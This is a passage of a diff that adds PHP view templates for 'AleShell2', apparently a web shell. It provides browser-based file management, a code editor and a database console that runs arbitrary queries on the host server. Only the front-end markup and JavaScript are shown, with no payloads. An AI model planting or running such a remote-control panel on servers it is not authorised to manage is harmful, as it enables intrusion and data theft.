<div id="sqlite-fields" class="hidden">
|
||||
<div class="form-group">
|
||||
<label class="form-label">Database File</label>
|
||||
<input type="text" id="db-file" class="form-input" placeholder="/path/to/database.sqlite">
|
||||
</div>
|
||||
</div>
|
||||
<button type="submit" class="btn btn-primary" style="width: 100%;">Connect</button>
|
||||
</form>
|
||||
<?php else: ?>
|
||||
<div class="mb-2">
|
||||
<div class="text-muted" style="font-size: 12px;">Driver</div>
|
||||
<div><?= htmlspecialchars(strtoupper($connection['driver'] ?? '')) ?></div>
|
||||
</div>
|
||||
<div class="mb-2">
|
||||
<div class="text-muted" style="font-size: 12px;">Host</div>
|
||||
<div><?= htmlspecialchars($connection['host'] ?? '') ?>:<?= htmlspecialchars($connection['port'] ?? '') ?></div>
|
||||
</div>
|
||||
<div class="mb-3">
|
||||
<div class="text-muted" style="font-size: 12px;">Database</div>
|
||||
<div><?= htmlspecialchars($connection['database'] ?? '') ?></div>
|
||||
</div>
|
||||
<button onclick="doDisconnect()" class="btn btn-danger" style="width: 100%;">Disconnect</button>
|
||||
<?php endif; ?>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Databases / Tables -->
|
||||
<?php if ($connected): ?>
|
||||
<div class="card">
|
||||
<div class="card-header">
|
||||
<h3 class="card-title">📂 Structure</h3>
|
||||
<button onclick="refreshStructure()" class="btn btn-sm btn-secondary">🔄</button>
|
||||
</div>
|
||||
<div class="card-body" style="padding: 0; max-height: 400px; overflow-y: auto;">
|
||||
<div id="db-structure">
|
||||
<div class="loading">
|
||||
<div class="spinner"></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<?php endif; ?>
|
||||
</div>
|
||||
|
||||
<!-- Main Content -->
|
||||
<div>
|
||||
<?php if ($connected): ?>
|
||||
<!-- Query Editor -->
|
||||
<div class="card mb-3">
|
||||
<div class="card-header">
|
||||
<h3 class="card-title">📝 Query Editor</h3>
|
||||
<div class="flex gap-1">
|
||||
<button onclick="executeQuery()" class="btn btn-primary">▶️ Execute</button>
|
||||
<button onclick="clearQuery()" class="btn btn-secondary">Clear</button>
|
||||
</div>
|
||||
</div>
|
||||
<div class="card-body">
|
||||
<textarea id="query-editor" class="code-editor" placeholder="SELECT * FROM table_name LIMIT 100;" style="min-height: 150px;"></textarea>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Results -->
|
||||
<div class="card">
|
||||
<div class="card-header">
|
||||
<h3 class="card-title">📊 Results</h3>
|
||||
<span id="query-stats" class="text-muted"></span>
|
||||
</div>
|
||||
<div class="card-body" style="padding: 0;">
|
||||
<div id="query-results" class="table-container" style="max-height: 400px; overflow: auto;">
|
||||
<div class="text-muted text-center" style="padding: 40px;">
|
||||
Execute a query to see results
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<?php else: ?>
|
||||
<div class="card">
|
||||
<div class="card-body text-center" style="padding: 60px;">
|
||||
<div style="font-size: 48px; margin-bottom: 16px;">🗄️</div>
|
||||
<h3>Database Manager</h3>
|
||||
<p class="text-muted mt-2">Connect to a database to start managing your data</p>
|
||||
</div>
|
||||
</div>
|
||||
<?php endif; ?>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
// Toggle SQLite fields
|
||||
document.getElementById('db-driver')?.addEventListener('change', function() {
|
||||
const isSqlite = this.value === 'sqlite';
|
||||
document.getElementById('mysql-fields').classList.toggle('hidden', isSqlite);
|
||||
document.getElementById('sqlite-fields').classList.toggle('hidden', !isSqlite);
|
||||
|
||||
if (this.value === 'pgsql') {
|
||||
document.getElementById('db-port').value = '5432';
|
||||
} else if (this.value === 'mysql') {
|
||||
document.getElementById('db-port').value = '3306';
|
||||
}
|
||||
});
|
||||
|
||||
// Connect to database
|
||||
async function doConnect(event) {
|
||||
event.preventDefault();
|
||||
|
||||
const driver = document.getElementById('db-driver').value;
|
||||
const data = { driver };
|
||||
|
||||
if (driver === 'sqlite') {
|
||||
data.database = document.getElementById('db-file').value;
|
||||
} else {
|
||||
data.host = document.getElementById('db-host').value;
|
||||
data.port = document.getElementById('db-port').value;
|
||||
data.database = document.getElementById('db-name').value;
|
||||
data.username = document.getElementById('db-user').value;
|
||||
data.password = document.getElementById('db-pass').value;
|
||||
}
|
||||
|
||||
try {
|
||||
const response = await api('?module=database&action=connect', 'POST', data);
|
||||
|
||||
if (response.success) {
|
||||
toast('Connected to database', 'success');
|
||||
location.reload();
|
||||
} else {
|
||||
toast(response.error, 'danger');
|
||||
}
|
||||
} catch (error) {
|
||||
toast('Connection failed: ' + error.message, 'danger');
|
||||
}
|
||||
}
|
||||
|
||||
// Disconnect
|
||||
async function doDisconnect() {
|
||||
try {
|
||||
await api('?module=database&action=disconnect', 'POST', {});
|
||||
toast('Disconnected', 'success');
|
||||
location.reload();
|
||||
} catch (error) {
|
||||
location.reload();
|
||||
}
|
||||
}
|
||||
|
||||
// Refresh structure
|
||||
async function refreshStructure() {
|
||||
const container = document.getElementById('db-structure');
|
||||
container.innerHTML = '<div class="loading"><div class="spinner"></div></div>';
|
||||
|
||||
try {
|
||||
const response = await api('?module=database&action=tables');
|
||||
|
||||
if (response.success) {
|
||||
const tables = response.data.tables;
|
||||
|
||||
if (tables.length === 0) {
|
||||
container.innerHTML = '<div class="text-muted" style="padding: 16px;">No tables found</div>';
|
||||
return;
|
||||
}
|
||||
|
||||
let html = '';
|
||||
for (const table of tables) {
|
||||
html += `
|
||||
<div class="file-item" onclick="selectTable('${escapeHtml(table)}')" style="cursor: pointer;">
|
||||
<span class="file-icon">📋</span>
|
||||
<span class="file-name">${escapeHtml(table)}</span>
|
||||
</div>
|
||||
`;
|
||||
}
|
||||
container.innerHTML = html;
|
||||
} else {
|
||||
container.innerHTML = `<div class="text-danger" style="padding: 16px;">${escapeHtml(response.error)}</div>`;
|
||||
}
|
||||
} catch (error) {
|
||||
container.innerHTML = '<div class="text-danger" style="padding: 16px;">Failed to load tables</div>';
|
||||
}
|
||||
}
|
||||
|
||||
// Select table
|
||||
function selectTable(table) {
|
||||
document.getElementById('query-editor').value = `SELECT * FROM \`${table}\` LIMIT 100;`;
|
||||
executeQuery();
|
||||
}
|
||||
|
||||
// Execute query
|
||||
async function executeQuery() {
|
||||
const query = document.getElementById('query-editor').value.trim();
|
||||
const resultsDiv = document.getElementById('query-results');
|
||||
const statsSpan = document.getElementById('query-stats');
|
||||
|
||||
if (!query) {
|
||||
toast('Please enter a query', 'warning');
|
||||
return;
|
||||
}
|
||||
|
||||
resultsDiv.innerHTML = '<div class="loading"><div class="spinner"></div>Executing query...</div>';
|
||||
statsSpan.textContent = '';
|
||||
|
||||
try {
|
||||
const response = await api('?module=database&action=query', 'POST', { query });
|
||||
|
||||
if (response.success) {
|
||||
const data = response.data;
|
||||
|
||||
statsSpan.textContent = `${data.affected_rows} rows | ${data.execution_time}`;
|
||||
|
||||
if (data.rows !== undefined) {
|
||||
// SELECT query
|
||||
if (data.rows.length === 0) {
|
||||
resultsDiv.innerHTML = '<div class="text-muted text-center" style="padding: 40px;">No results</div>';
|
||||
return;
|
||||
}
|
||||
|
||||
let html = '<table class="table table-mono"><thead><tr>';
|
||||
for (const col of data.columns) {
|
||||
html += `<th>${escapeHtml(col)}</th>`;
|
||||
}
|
||||
html += '</tr></thead><tbody>';
|
||||
|
||||
for (const row of data.rows) {
|
||||
html += '<tr>';
|
||||
for (const col of data.columns) {
|
||||
const value = row[col];
|
||||
const displayValue = value === null ? '<span class="text-muted">NULL</span>' : escapeHtml(String(value));
|
||||
html += `<td style="max-width: 300px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap;">${displayValue}</td>`;
|
||||
}
|
||||
html += '</tr>';
|
||||
}
|
||||
html += '</tbody></table>';
|
||||
|
||||
if (data.limited) {
|
||||
html += `<div class="text-warning text-center" style="padding: 8px; font-size: 12px;">Results limited. Total: ${data.total_rows} rows</div>`;
|
||||
}
|
||||
|
||||
resultsDiv.innerHTML = html;
|
||||
} else {
|
||||
// Non-SELECT query
|
||||
resultsDiv.innerHTML = `<div class="alert alert-success" style="margin: 16px;">Query executed successfully. Affected rows: ${data.affected_rows}</div>`;
|
||||
}
|
||||
} else {
|
||||
resultsDiv.innerHTML = `<div class="alert alert-danger" style="margin: 16px;">${escapeHtml(response.error)}</div>`;
|
||||
}
|
||||
} catch (error) {
|
||||
resultsDiv.innerHTML = '<div class="alert alert-danger" style="margin: 16px;">Query execution failed</div>';
|
||||
}
|
||||
}
|
||||
|
||||
// Clear query
|
||||
function clearQuery() {
|
||||
document.getElementById('query-editor').value = '';
|
||||
document.getElementById('query-results').innerHTML = '<div class="text-muted text-center" style="padding: 40px;">Execute a query to see results</div>';
|
||||
document.getElementById('query-stats').textContent = '';
|
||||
}
|
||||
|
||||
// Keyboard shortcuts
|
||||
document.getElementById('query-editor')?.addEventListener('keydown', (e) => {
|
||||
if ((e.ctrlKey || e.metaKey) && e.key === 'Enter') {
|
||||
e.preventDefault();
|
||||
executeQuery();
|
||||
}
|
||||
});
|
||||
|
||||
// Initialize
|
||||
document.addEventListener('DOMContentLoaded', () => {
|
||||
if (document.getElementById('db-structure')) {
|
||||
refreshStructure();
|
||||
}
|
||||
});
|
||||
</script>
|
||||
191
src/Views/modules/editor.php
Archivo normal
191
src/Views/modules/editor.php
Archivo normal
@@ -0,0 +1,191 @@
|
||||
<?php
|
||||
/**
|
||||
* AleShell2 Code Editor View
|
||||
*
|
||||
* @var array $data View data
|
||||
*/
|
||||
|
||||
$filePath = $data['filePath'] ?? '';
|
||||
$content = $data['content'] ?? '';
|
||||
$filename = basename($filePath) ?: 'untitled.txt';
|
||||
$extension = pathinfo($filename, PATHINFO_EXTENSION);
|
||||
?>
|
||||
|
||||
<div class="card">
|
||||
<div class="card-header">
|
||||
<div class="flex items-center gap-2" style="flex: 1;">
|
||||
<span>📝</span>
|
||||
<input type="text" id="file-path" class="form-input form-input-mono" value="<?= htmlspecialchars($filePath) ?>" placeholder="/path/to/file.txt" style="flex: 1;">
|
||||
<button onclick="loadFile()" class="btn btn-secondary">Open</button>
|
||||
</div>
|
||||
<div class="flex gap-1">
|
||||
<button onclick="saveFile()" class="btn btn-primary">💾 Save</button>
|
||||
<button onclick="saveAsFile()" class="btn btn-secondary">Save As</button>
|
||||
<button onclick="downloadFile()" class="btn btn-secondary">⬇️ Download</button>
|
||||
</div>
|
||||
</div>
|
||||
<div class="card-body" style="padding: 0;">
|
||||
<div style="display: flex; align-items: center; padding: 8px 16px; background: var(--bg-tertiary); border-bottom: 1px solid var(--border-color);">
|
||||
<span class="text-muted" style="font-size: 12px;">
|
||||
<?= htmlspecialchars($filename) ?>
|
||||
<?php if ($extension): ?>
|
||||
<span class="badge badge-info"><?= htmlspecialchars($extension) ?></span>
|
||||
<?php endif; ?>
|
||||
</span>
|
||||
<span style="flex: 1;"></span>
|
||||
<span id="line-info" class="text-muted" style="font-size: 12px;">Line 1, Col 1</span>
|
||||
</div>
|
||||
<textarea id="editor" class="code-editor" style="border: none; border-radius: 0; min-height: 500px;"><?= htmlspecialchars($content) ?></textarea>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Save As Modal -->
|
||||
<div id="saveas-modal" class="modal-backdrop">
|
||||
<div class="modal">
|
||||
<div class="modal-header">
|
||||
<h3 class="modal-title">Save As</h3>
|
||||
<button class="modal-close" onclick="closeModal('saveas-modal')">×</button>
|
||||
</div>
|
||||
<div class="modal-body">
|
||||
<div class="form-group">
|
||||
<label class="form-label">File Path</label>
|
||||
<input type="text" id="saveas-path" class="form-input form-input-mono" value="<?= htmlspecialchars($filePath) ?>">
|
||||
</div>
|
||||
</div>
|
||||
<div class="modal-footer">
|
||||
<button class="btn btn-secondary" onclick="closeModal('saveas-modal')">Cancel</button>
|
||||
<button class="btn btn-primary" onclick="doSaveAs()">Save</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
const editor = document.getElementById('editor');
|
||||
const filePathInput = document.getElementById('file-path');
|
||||
const lineInfo = document.getElementById('line-info');
|
||||
|
||||
// Update line info
|
||||
editor.addEventListener('keyup', updateLineInfo);
|
||||
editor.addEventListener('click', updateLineInfo);
|
||||
|
||||
function updateLineInfo() {
|
||||
const text = editor.value.substring(0, editor.selectionStart);
|
||||
const lines = text.split('\n');
|
||||
const line = lines.length;
|
||||
const col = lines[lines.length - 1].length + 1;
|
||||
lineInfo.textContent = `Line ${line}, Col ${col}`;
|
||||
}
|
||||
|
||||
// Handle tab key
|
||||
editor.addEventListener('keydown', (e) => {
|
||||
if (e.key === 'Tab') {
|
||||
e.preventDefault();
|
||||
const start = editor.selectionStart;
|
||||
const end = editor.selectionEnd;
|
||||
|
||||
if (e.shiftKey) {
|
||||
// Remove indent
|
||||
const lineStart = editor.value.lastIndexOf('\n', start - 1) + 1;
|
||||
const lineText = editor.value.substring(lineStart, start);
|
||||
if (lineText.startsWith(' ')) {
|
||||
editor.value = editor.value.substring(0, lineStart) + editor.value.substring(lineStart + 4);
|
||||
editor.selectionStart = editor.selectionEnd = start - 4;
|
||||
} else if (lineText.startsWith('\t')) {
|
||||
editor.value = editor.value.substring(0, lineStart) + editor.value.substring(lineStart + 1);
|
||||
editor.selectionStart = editor.selectionEnd = start - 1;
|
||||
}
|
||||
} else {
|
||||
// Add indent
|
||||
editor.value = editor.value.substring(0, start) + ' ' + editor.value.substring(end);
|
||||
editor.selectionStart = editor.selectionEnd = start + 4;
|
||||
}
|
||||
}
|
||||
|
||||
// Save with Ctrl+S
|
||||
if (e.key === 's' && (e.ctrlKey || e.metaKey)) {
|
||||
e.preventDefault();
|
||||
saveFile();
|
||||
}
|
||||
});
|
||||
|
||||
// Load file
|
||||
async function loadFile() {
|
||||
const path = filePathInput.value.trim();
|
||||
if (!path) {
|
||||
toast('Please enter a file path', 'warning');
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
const response = await api(`?module=files&action=read&path=${encodeURIComponent(path)}`);
|
||||
|
||||
if (response.success) {
|
||||
editor.value = response.data.content;
|
||||
toast('File loaded', 'success');
|
||||
} else {
|
||||
toast(response.error, 'danger');
|
||||
}
|
||||
} catch (error) {
|
||||
toast('Failed to load file: ' + error.message, 'danger');
|
||||
}
|
||||
}
|
||||
|
||||
// Save file
|
||||
async function saveFile() {
|
||||
const path = filePathInput.value.trim();
|
||||
if (!path) {
|
||||
openModal('saveas-modal');
|
||||
return;
|
||||
}
|
||||
|
||||
const content = editor.value;
|
||||
|
||||
try {
|
||||
const response = await api('?module=files&action=write', 'POST', { path, content });
|
||||
|
||||
if (response.success) {
|
||||
toast('File saved', 'success');
|
||||
} else {
|
||||
toast(response.error, 'danger');
|
||||
}
|
||||
} catch (error) {
|
||||
toast('Failed to save file: ' + error.message, 'danger');
|
||||
}
|
||||
}
|
||||
|
||||
// Save as
|
||||
function saveAsFile() {
|
||||
document.getElementById('saveas-path').value = filePathInput.value;
|
||||
openModal('saveas-modal');
|
||||
}
|
||||
|
||||
async function doSaveAs() {
|
||||
const path = document.getElementById('saveas-path').value.trim();
|
||||
if (!path) {
|
||||
toast('Please enter a file path', 'warning');
|
||||
return;
|
||||
}
|
||||
|
||||
filePathInput.value = path;
|
||||
closeModal('saveas-modal');
|
||||
await saveFile();
|
||||
}
|
||||
|
||||
// Download file
|
||||
function downloadFile() {
|
||||
const path = filePathInput.value.trim();
|
||||
if (!path) {
|
||||
toast('No file to download', 'warning');
|
||||
return;
|
||||
}
|
||||
window.location.href = `?module=files&action=download&path=${encodeURIComponent(path)}`;
|
||||
}
|
||||
|
||||
// Load file from URL parameter
|
||||
const urlParams = new URLSearchParams(window.location.search);
|
||||
const pathParam = urlParams.get('path');
|
||||
if (pathParam) {
|
||||
filePathInput.value = pathParam;
|
||||
loadFile();
|
||||
}
|
||||
</script>
|
||||
559
src/Views/modules/files.php
Archivo normal
559
src/Views/modules/files.php
Archivo normal
@@ -0,0 +1,559 @@
|
||||
<?php
|
||||
/**
|
||||
* AleShell2 File Manager View
|
||||
*
|
||||
* @var array $data View data
|
||||
*/
|
||||
|
||||
$currentPath = $data['currentPath'] ?? getcwd();
|
||||
$files = $data['files'] ?? [];
|
||||
?>
|
||||
|
||||
<div class="card mb-3">
|
||||
<div class="card-header">
|
||||
<div class="flex items-center gap-2">
|
||||
<span>📂</span>
|
||||
<input type="text" id="path-input" class="form-input form-input-mono" value="<?= htmlspecialchars($currentPath) ?>" style="flex: 1;">
|
||||
<button onclick="navigateTo(document.getElementById('path-input').value)" class="btn btn-secondary">Go</button>
|
||||
</div>
|
||||
</div>
|
||||
<div class="card-body" style="padding: 0;">
|
||||
<div class="flex items-center justify-between" style="padding: 12px 16px; border-bottom: 1px solid var(--border-color);">
|
||||
<div class="flex gap-1">
|
||||
<button onclick="navigateUp()" class="btn btn-sm btn-secondary">⬆️ Up</button>
|
||||
<button onclick="refresh()" class="btn btn-sm btn-secondary">🔄 Refresh</button>
|
||||
<button onclick="openNewFileModal()" class="btn btn-sm btn-secondary">📄 New File</button>
|
||||
<button onclick="openNewFolderModal()" class="btn btn-sm btn-secondary">📁 New Folder</button>
|
||||
<button onclick="openUploadModal()" class="btn btn-sm btn-primary">⬆️ Upload</button>
|
||||
</div>
|
||||
<div class="flex gap-1">
|
||||
<input type="text" id="search-input" class="form-input" placeholder="Search files..." style="width: 200px;" onkeyup="filterFiles(this.value)">
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div id="file-list" class="file-list">
|
||||
<div class="loading">
|
||||
<div class="spinner"></div>
|
||||
Loading files...
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- New File Modal -->
|
||||
<div id="new-file-modal" class="modal-backdrop">
|
||||
<div class="modal">
|
||||
<div class="modal-header">
|
||||
<h3 class="modal-title">Create New File</h3>
|
||||
<button class="modal-close" onclick="closeModal('new-file-modal')">×</button>
|
||||
</div>
|
||||
<div class="modal-body">
|
||||
<div class="form-group">
|
||||
<label class="form-label">Filename</label>
|
||||
<input type="text" id="new-file-name" class="form-input" placeholder="filename.txt">
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<label class="form-label">Content (optional)</label>
|
||||
<textarea id="new-file-content" class="form-textarea code-editor" rows="5" placeholder="File content..."></textarea>
|
||||
</div>
|
||||
</div>
|
||||
<div class="modal-footer">
|
||||
<button class="btn btn-secondary" onclick="closeModal('new-file-modal')">Cancel</button>
|
||||
<button class="btn btn-primary" onclick="createNewFile()">Create File</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- New Folder Modal -->
|
||||
<div id="new-folder-modal" class="modal-backdrop">
|
||||
<div class="modal">
|
||||
<div class="modal-header">
|
||||
<h3 class="modal-title">Create New Folder</h3>
|
||||
<button class="modal-close" onclick="closeModal('new-folder-modal')">×</button>
|
||||
</div>
|
||||
<div class="modal-body">
|
||||
<div class="form-group">
|
||||
<label class="form-label">Folder Name</label>
|
||||
<input type="text" id="new-folder-name" class="form-input" placeholder="folder-name">
|
||||
</div>
|
||||
</div>
|
||||
<div class="modal-footer">
|
||||
<button class="btn btn-secondary" onclick="closeModal('new-folder-modal')">Cancel</button>
|
||||
<button class="btn btn-primary" onclick="createNewFolder()">Create Folder</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Upload Modal -->
|
||||
<div id="upload-modal" class="modal-backdrop">
|
||||
<div class="modal">
|
||||
<div class="modal-header">
|
||||
<h3 class="modal-title">Upload Files</h3>
|
||||
<button class="modal-close" onclick="closeModal('upload-modal')">×</button>
|
||||
</div>
|
||||
<div class="modal-body">
|
||||
<div class="form-group">
|
||||
<label class="form-label">Select Files</label>
|
||||
<input type="file" id="upload-files" class="form-input" multiple>
|
||||
</div>
|
||||
<div id="upload-progress" class="hidden">
|
||||
<div style="background: var(--bg-tertiary); border-radius: 4px; height: 8px; overflow: hidden;">
|
||||
<div id="upload-bar" style="width: 0%; height: 100%; background: var(--accent-primary); transition: width 0.3s;"></div>
|
||||
</div>
|
||||
<div id="upload-status" class="text-muted mt-1" style="font-size: 12px;">Uploading...</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="modal-footer">
|
||||
<button class="btn btn-secondary" onclick="closeModal('upload-modal')">Cancel</button>
|
||||
<button class="btn btn-primary" onclick="uploadFiles()">Upload</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Rename Modal -->
|
||||
<div id="rename-modal" class="modal-backdrop">
|
||||
<div class="modal">
|
||||
<div class="modal-header">
|
||||
<h3 class="modal-title">Rename</h3>
|
||||
<button class="modal-close" onclick="closeModal('rename-modal')">×</button>
|
||||
</div>
|
||||
<div class="modal-body">
|
||||
<div class="form-group">
|
||||
<label class="form-label">New Name</label>
|
||||
<input type="text" id="rename-input" class="form-input">
|
||||
<input type="hidden" id="rename-old-path">
|
||||
</div>
|
||||
</div>
|
||||
<div class="modal-footer">
|
||||
<button class="btn btn-secondary" onclick="closeModal('rename-modal')">Cancel</button>
|
||||
<button class="btn btn-primary" onclick="doRename()">Rename</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Chmod Modal -->
|
||||
<div id="chmod-modal" class="modal-backdrop">
|
||||
<div class="modal">
|
||||
<div class="modal-header">
|
||||
<h3 class="modal-title">Change Permissions</h3>
|
||||
<button class="modal-close" onclick="closeModal('chmod-modal')">×</button>
|
||||
</div>
|
||||
<div class="modal-body">
|
||||
<div class="form-group">
|
||||
<label class="form-label">Permissions (octal)</label>
|
||||
<input type="text" id="chmod-input" class="form-input" placeholder="0755">
|
||||
<input type="hidden" id="chmod-path">
|
||||
</div>
|
||||
</div>
|
||||
<div class="modal-footer">
|
||||
<button class="btn btn-secondary" onclick="closeModal('chmod-modal')">Cancel</button>
|
||||
<button class="btn btn-primary" onclick="doChmod()">Change</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Context Menu -->
|
||||
<div id="context-menu" class="context-menu">
|
||||
<div class="context-menu-item" onclick="openFile()">📄 Open</div>
|
||||
<div class="context-menu-item" onclick="editFile()">✏️ Edit</div>
|
||||
<div class="context-menu-item" onclick="downloadFile()">⬇️ Download</div>
|
||||
<div class="context-menu-divider"></div>
|
||||
<div class="context-menu-item" onclick="copyFile()">📋 Copy</div>
|
||||
<div class="context-menu-item" onclick="moveFile()">📦 Move</div>
|
||||
<div class="context-menu-item" onclick="renameFile()">✏️ Rename</div>
|
||||
<div class="context-menu-item" onclick="chmodFile()">🔒 Permissions</div>
|
||||
<div class="context-menu-divider"></div>
|
||||
<div class="context-menu-item danger" onclick="deleteFile()">🗑️ Delete</div>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
let currentPath = '<?= addslashes($currentPath) ?>';
|
||||
let files = [];
|
||||
let selectedFile = null;
|
||||
let clipboard = null;
|
||||
|
||||
// Initialize
|
||||
document.addEventListener('DOMContentLoaded', () => {
|
||||
loadFiles(currentPath);
|
||||
});
|
||||
|
||||
// Load files from path
|
||||
async function loadFiles(path) {
|
||||
const fileList = document.getElementById('file-list');
|
||||
fileList.innerHTML = '<div class="loading"><div class="spinner"></div>Loading files...</div>';
|
||||
|
||||
try {
|
||||
const response = await api(`?module=files&action=list&path=${encodeURIComponent(path)}`);
|
||||
|
||||
if (response.success) {
|
||||
currentPath = response.data.path;
|
||||
files = response.data.files;
|
||||
document.getElementById('path-input').value = currentPath;
|
||||
renderFiles();
|
||||
} else {
|
||||
fileList.innerHTML = `<div class="alert alert-danger" style="margin: 16px;">${escapeHtml(response.error)}</div>`;
|
||||
}
|
||||
} catch (error) {
|
||||
fileList.innerHTML = `<div class="alert alert-danger" style="margin: 16px;">Failed to load files: ${escapeHtml(error.message)}</div>`;
|
||||
}
|
||||
}
|
||||
|
||||
// Render file list
|
||||
function renderFiles() {
|
||||
const fileList = document.getElementById('file-list');
|
||||
|
||||
if (files.length === 0) {
|
||||
fileList.innerHTML = '<div class="text-muted" style="padding: 40px; text-align: center;">This directory is empty</div>';
|
||||
return;
|
||||
}
|
||||
|
||||
let html = '';
|
||||
|
||||
for (const file of files) {
|
||||
const icon = getFileIcon(file);
|
||||
const size = file.type === 'file' ? formatBytes(file.size) : '-';
|
||||
const perms = file.permissions || '-';
|
||||
const modified = file.modified ? new Date(file.modified * 1000).toLocaleString() : '-';
|
||||
|
||||
html += `
|
||||
<div class="file-item"
|
||||
data-path="${escapeHtml(file.path)}"
|
||||
data-type="${file.type}"
|
||||
data-name="${escapeHtml(file.name)}"
|
||||
onclick="selectFile(this)"
|
||||
ondblclick="openItem(this)"
|
||||
oncontextmenu="showContextMenu(event, this)">
|
||||
<span class="file-icon">${icon}</span>
|
||||
<span class="file-name">${escapeHtml(file.name)}</span>
|
||||
<div class="file-meta">
|
||||
<span class="text-mono">${perms}</span>
|
||||
<span>${size}</span>
|
||||
<span>${modified}</span>
|
||||
</div>
|
||||
</div>
|
||||
`;
|
||||
}
|
||||
|
||||
fileList.innerHTML = html;
|
||||
}
|
||||
|
||||
// Get file icon
|
||||
function getFileIcon(file) {
|
||||
if (file.type === 'directory') return '📁';
|
||||
if (file.type === 'link') return '🔗';
|
||||
|
||||
const ext = file.name.split('.').pop().toLowerCase();
|
||||
const icons = {
|
||||
'php': '🐘', 'js': '📜', 'ts': '📜', 'py': '🐍', 'rb': '💎',
|
||||
'html': '🌐', 'css': '🎨', 'json': '📋', 'xml': '📋', 'yml': '📋', 'yaml': '📋',
|
||||
'md': '📝', 'txt': '📄', 'log': '📋',
|
||||
'jpg': '🖼️', 'jpeg': '🖼️', 'png': '🖼️', 'gif': '🖼️', 'svg': '🖼️', 'webp': '🖼️',
|
||||
'mp3': '🎵', 'wav': '🎵', 'ogg': '🎵',
|
||||
'mp4': '🎬', 'avi': '🎬', 'mkv': '🎬', 'webm': '🎬',
|
||||
'zip': '📦', 'tar': '📦', 'gz': '📦', 'rar': '📦', '7z': '📦',
|
||||
'pdf': '📕', 'doc': '📘', 'docx': '📘', 'xls': '📗', 'xlsx': '📗',
|
||||
'sql': '🗄️', 'db': '🗄️', 'sqlite': '🗄️',
|
||||
'sh': '⚙️', 'bash': '⚙️', 'zsh': '⚙️',
|
||||
'exe': '⚡', 'bin': '⚡',
|
||||
'conf': '⚙️', 'cfg': '⚙️', 'ini': '⚙️',
|
||||
};
|
||||
|
||||
return icons[ext] || '📄';
|
||||
}
|
||||
|
||||
// Select file
|
||||
function selectFile(el) {
|
||||
document.querySelectorAll('.file-item').forEach(f => f.style.background = '');
|
||||
el.style.background = 'var(--bg-hover)';
|
||||
selectedFile = {
|
||||
path: el.dataset.path,
|
||||
type: el.dataset.type,
|
||||
name: el.dataset.name
|
||||
};
|
||||
}
|
||||
|
||||
// Open item (double click)
|
||||
function openItem(el) {
|
||||
const path = el.dataset.path;
|
||||
const type = el.dataset.type;
|
||||
|
||||
if (type === 'directory') {
|
||||
loadFiles(path);
|
||||
} else {
|
||||
window.location.href = `?module=editor&path=${encodeURIComponent(path)}`;
|
||||
}
|
||||
}
|
||||
|
||||
// Navigate to path
|
||||
function navigateTo(path) {
|
||||
loadFiles(path);
|
||||
}
|
||||
|
||||
// Navigate up
|
||||
function navigateUp() {
|
||||
const parts = currentPath.split('/').filter(p => p);
|
||||
parts.pop();
|
||||
const newPath = '/' + parts.join('/');
|
||||
loadFiles(newPath || '/');
|
||||
}
|
||||
|
||||
// Refresh
|
||||
function refresh() {
|
||||
loadFiles(currentPath);
|
||||
}
|
||||
|
||||
// Filter files
|
||||
function filterFiles(query) {
|
||||
query = query.toLowerCase();
|
||||
document.querySelectorAll('.file-item').forEach(item => {
|
||||
const name = item.dataset.name.toLowerCase();
|
||||
item.style.display = name.includes(query) ? '' : 'none';
|
||||
});
|
||||
}
|
||||
|
||||
// Context menu
|
||||
function showContextMenu(event, el) {
|
||||
event.preventDefault();
|
||||
selectFile(el);
|
||||
|
||||
const menu = document.getElementById('context-menu');
|
||||
menu.style.left = event.pageX + 'px';
|
||||
menu.style.top = event.pageY + 'px';
|
||||
menu.classList.add('active');
|
||||
}
|
||||
|
||||
// Hide context menu on click
|
||||
document.addEventListener('click', () => {
|
||||
document.getElementById('context-menu').classList.remove('active');
|
||||
});
|
||||
|
||||
// Context menu actions
|
||||
function openFile() {
|
||||
if (!selectedFile) return;
|
||||
if (selectedFile.type === 'directory') {
|
||||
loadFiles(selectedFile.path);
|
||||
} else {
|
||||
window.open(`?module=files&action=read&path=${encodeURIComponent(selectedFile.path)}`, '_blank');
|
||||
}
|
||||
}
|
||||
|
||||
function editFile() {
|
||||
if (!selectedFile || selectedFile.type !== 'file') return;
|
||||
window.location.href = `?module=editor&path=${encodeURIComponent(selectedFile.path)}`;
|
||||
}
|
||||
|
||||
function downloadFile() {
|
||||
if (!selectedFile || selectedFile.type !== 'file') return;
|
||||
window.location.href = `?module=files&action=download&path=${encodeURIComponent(selectedFile.path)}`;
|
||||
}
|
||||
|
||||
function copyFile() {
|
||||
if (!selectedFile) return;
|
||||
clipboard = { action: 'copy', path: selectedFile.path };
|
||||
toast('File copied to clipboard', 'success');
|
||||
}
|
||||
|
||||
function moveFile() {
|
||||
if (!selectedFile) return;
|
||||
clipboard = { action: 'move', path: selectedFile.path };
|
||||
toast('File cut to clipboard', 'success');
|
||||
}
|
||||
|
||||
function renameFile() {
|
||||
if (!selectedFile) return;
|
||||
document.getElementById('rename-input').value = selectedFile.name;
|
||||
document.getElementById('rename-old-path').value = selectedFile.path;
|
||||
openModal('rename-modal');
|
||||
}
|
||||
|
||||
function chmodFile() {
|
||||
if (!selectedFile) return;
|
||||
document.getElementById('chmod-path').value = selectedFile.path;
|
||||
